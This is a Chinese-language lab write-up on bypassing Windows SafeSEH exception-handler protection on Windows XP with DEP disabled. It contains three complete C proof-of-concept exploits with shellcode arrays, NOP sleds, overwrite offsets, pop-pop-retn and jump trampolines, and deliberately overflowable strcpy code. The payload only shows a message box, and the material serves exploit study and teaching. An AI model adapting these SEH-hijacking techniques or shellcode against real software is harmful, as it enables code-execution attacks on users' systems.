SafeSEH对异常处理的保护原理
启用该链接选项后,编译器在编译程序的时候将程序所有的异常处理函数地址提取出来,编入一张安全 S.E.H 表,并将这张表放到程序的映像里面。当程序调用异常处理函数的时候会将函数地址与安全 S.E.H 表进行匹配, 检查调用的异常处理函数是否位于安全 S.E.H 表中。
攻击返回地址绕过SafeSEH
没开GS,开了SafeSEH,直接攻击函数返回地址
利用虚函数绕过SafeSEH
不涉及异常处理,SafeSEH没有参与感
从堆中绕过SafeSEH
#include "stdafx.h"
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x2A\x39\x00"//address of shellcode in heap
;
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
zero=1/zero;
}
void main()
{
char * buf=(char *)malloc(500);
//printf("buf: %p\n",buf);
//printf("shellcode %p\n",shellcode);
//__asm int 3
strcpy(buf,shellcode);
test(shellcode);
}
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | 关闭DEP |
编译器 | VS 2010 | |
编译选项 | 禁优化 | |
build | release版本 |
对代码简要解释:
1.首先在堆中申请 500 字节的空间,用来存放 shellcode。
2.函数 test 存在一个典型的溢出,通过向 str 复制超长字符串造成 str 溢出,进而覆盖程序的 S.E.H 信息。
3.用 shellcode 在堆中的起始地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理,进而跳转到堆中的 shellcode 执行。
首先关闭VS的DEP
然后在shellcode中填充多个“0x90”。有了 shellcode 的首地址后我们还需要确定填充多少个字节才能淹没异常函数的地址。我们让程序继续运行,中断在 test 函数中字符串复制结束时。
确定被溢出的字符串起始位置和S.E.H 异常处理函数指针地址。
此时观察我们shellcode中有260个字节
strcpy复制完后还差40个字节溢出到异常处理函数地址的指针。
所以我们使用 300 个字节就可以覆盖掉异常处理函数指针。所有的信息都收集好了,接下来我们开始布置 shellcode。
我们将弹出“failwest”对话框的机器码代码放到最前面,然后是 128 个字节的 0x90 填充,最后在第 296~300 字节位置放上 shellcode 在堆中的起始地址 0x00392AA0,用来更改异常处理函数的指针。
成功
利用未启用SafeSEH模块绕过SafeSEH
//SEH_NOSafeSEH_JUMP.dll
#include"stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call, LPVOID
lpReserved)
{
return TRUE;
}
void jump()
{
__asm
{
pop eax
pop eax
retn
}
}
//SEH_NOSafeSEH.EXE
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int _tmain(int argc, _TCHAR* argv[])
{
HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
char str[200];
//__asm int 3
test(shellcode);
return 0;
}
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | 关闭DEP |
EXE编译器 | VS 2010 | |
DLL编译器 | C++ 6.0 | 将dll基址设置为0x11120000 |
编译选项 | 禁优化 | |
build | release版本 |
对代码简要解释:
1.用 VC++ 6 .0 编译一个不使用 SafeSEH 的动态链接库 SEH_NOSafeSEH_JUMP.DLL,然后由启用 SafeSEH 的应用程序 SEH_NOSafeSEH.EXE 去加载它。
2.SEH_NOSafeSEH 中的 test 函数存在一个典型的溢出,通过向 str 复制超长字符串造成str 溢出,进而覆盖程序的SEH信息。
3.使用 SEH_NOSafeSEH_JUMP.DLL 中的“pop pop retn”指令地址覆盖异常处理函数地址,然后通过制造除 0 异常,将程序转入异常处理。通过劫持异常处理流程,程序转入SEH_NOSafeSEH_JUMP.DLL 中执行“pop pop retn” 指令,在执行 retn 后程序转入 shellcode 执行。
由于 VC++ 6.0 编译的 DLL 默认加载基址为 0x10000000,如果以它作为 DLL 的加载基址,DLL 中“pop po p retn”指令地址中可能会包含 0x00,这会在我们进行 strcpy 操作时会将字符串截断影响我们 shellcode 的复制,所以为了方便测试我们需要对基址进行重新设置为0x11120000。
打开OD的插件OllySSEH,可以看到SEH_NOSafeSEH_JUMP.dll未开启SafeSEH。
打开OD的插件OllyFindAddr,搜索符合条件的"pop pop retn"指针地址0x11121012。
当字符串长度超过 224 个字节后就可以覆盖异常处理函数指针。
经过 VS 2008 编译的程序,在进入含有__try{}的函数时会在 Security Cookie+4 的位置压入−2( VC++ 6.0 下为−1),在程序进入__try{}区域时程序会根据该__try{}块在函数中的位置而修改成不同的值。例如,函数中有两个__try{}块,在进入第一个__try{}块时这个值会被修改成 0,进入第二个的时候被修改为 1。如果在__try{}块中出现了异常,程序会根据这个值调用相应的__except()处理,处理结束后这个位置的值会重新修改为−2;如里没有发生异常,程序在离开__try{}块时这个值也会被修改回−2。
我用的VS2010也会改变。
所以shellcode不能太紧凑,中间填一些"0x90",避免关键部分被破坏。
为了避免 shellcode 关键部分被破坏,可采用如下布局: shellcode 最开始部分为 220个字节的 0x90 填充;在 221~224 位置用前面在 SEH_NOSafeSEH_JUMP.DLL 中找到的跳板地址 0x11121012 覆盖;然后再跟上 8 个字节的 0x90 填充;最后附上弹出“ sunrsunr”对话框的机器码。这样就可以保证弹出对话框的机器码不被破坏了。
成功
利用加载模块之外的地址绕过SafeSEH
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xE9\x2B\xFF\xFF\xFF\x90\x90\x90"// machine code of far jump and \x90
"\xEB\xF6\x90\x90"// machine code of short jump and \x90
"\x0B\x0B\x28\x00"// address of call [ebp+30] in outside memory
;
DWORD MyException(void)
{
printf("There is an exception");
getchar();
return 1;
}
void test(char * input)
{
char str[200];
strcpy(str,input);
int zero=0;
__try
{
zero=1/zero;
}
__except(MyException())
{
}
}
int main()
{
//__asm int 3
test(shellcode);
return 0;
}
环境 | 备注 | |
---|---|---|
操作系统 | Windows XP SP3 | 关闭DEP |
EXE编译器 | VS 2010 | |
编译选项 | 禁优化 | |
build | release版本 |
打开OD的插件OllyFindAddr,搜索符合条件的 call/jmp dword ptr[ebp+n]指令来作为跳板,找到0x280B0B。
这里的跳转指令需要把本程序载入od上查找,需要查找的是本程序的内存空间,而不是别的程序的内存空间。
并且符合条件的地址空间是不属于任何模块的地址。
这个地址中包含着0x00,这就意味着在字符串复制的时候 0x00 之后的内容都会被截断,所以我们不能将 shellcode的关键部分放到跳板后边(如果是 Unicode 的漏洞就不用考虑这个问题,因为 Unicode 的结束符号为 0x0000)。
跳板指令转入 shellcode 后首先是 4 个字节的 0x90 的填充,而短跳转指令只需要 2 个字节,因此我们可以在这个 4 个字节的位置放置一个短跳转指令让程序向内存低址位置跳转。但由于 1 个字节的操作数向回跳的范围有限,不足以跳转到 shellcode 的起始地址,所以我们利用两次跳转来完成跳跃。
1.通过一个 2 字节的短跳转指令 0xEBF6 向回跳 8 个字节。
2.在这 8 个字节中我们再布置一条 5 字节的长跳转指令完成最终的回跳。
部署 shellcode 如下:在 shellcode 开始部分为弹出“sunrsunr”对话框的机器码,然后是 0x90 填充,接着为长跳转指令,再跟着 0x90 填充,最后为短跳转指令和跳板指令
成功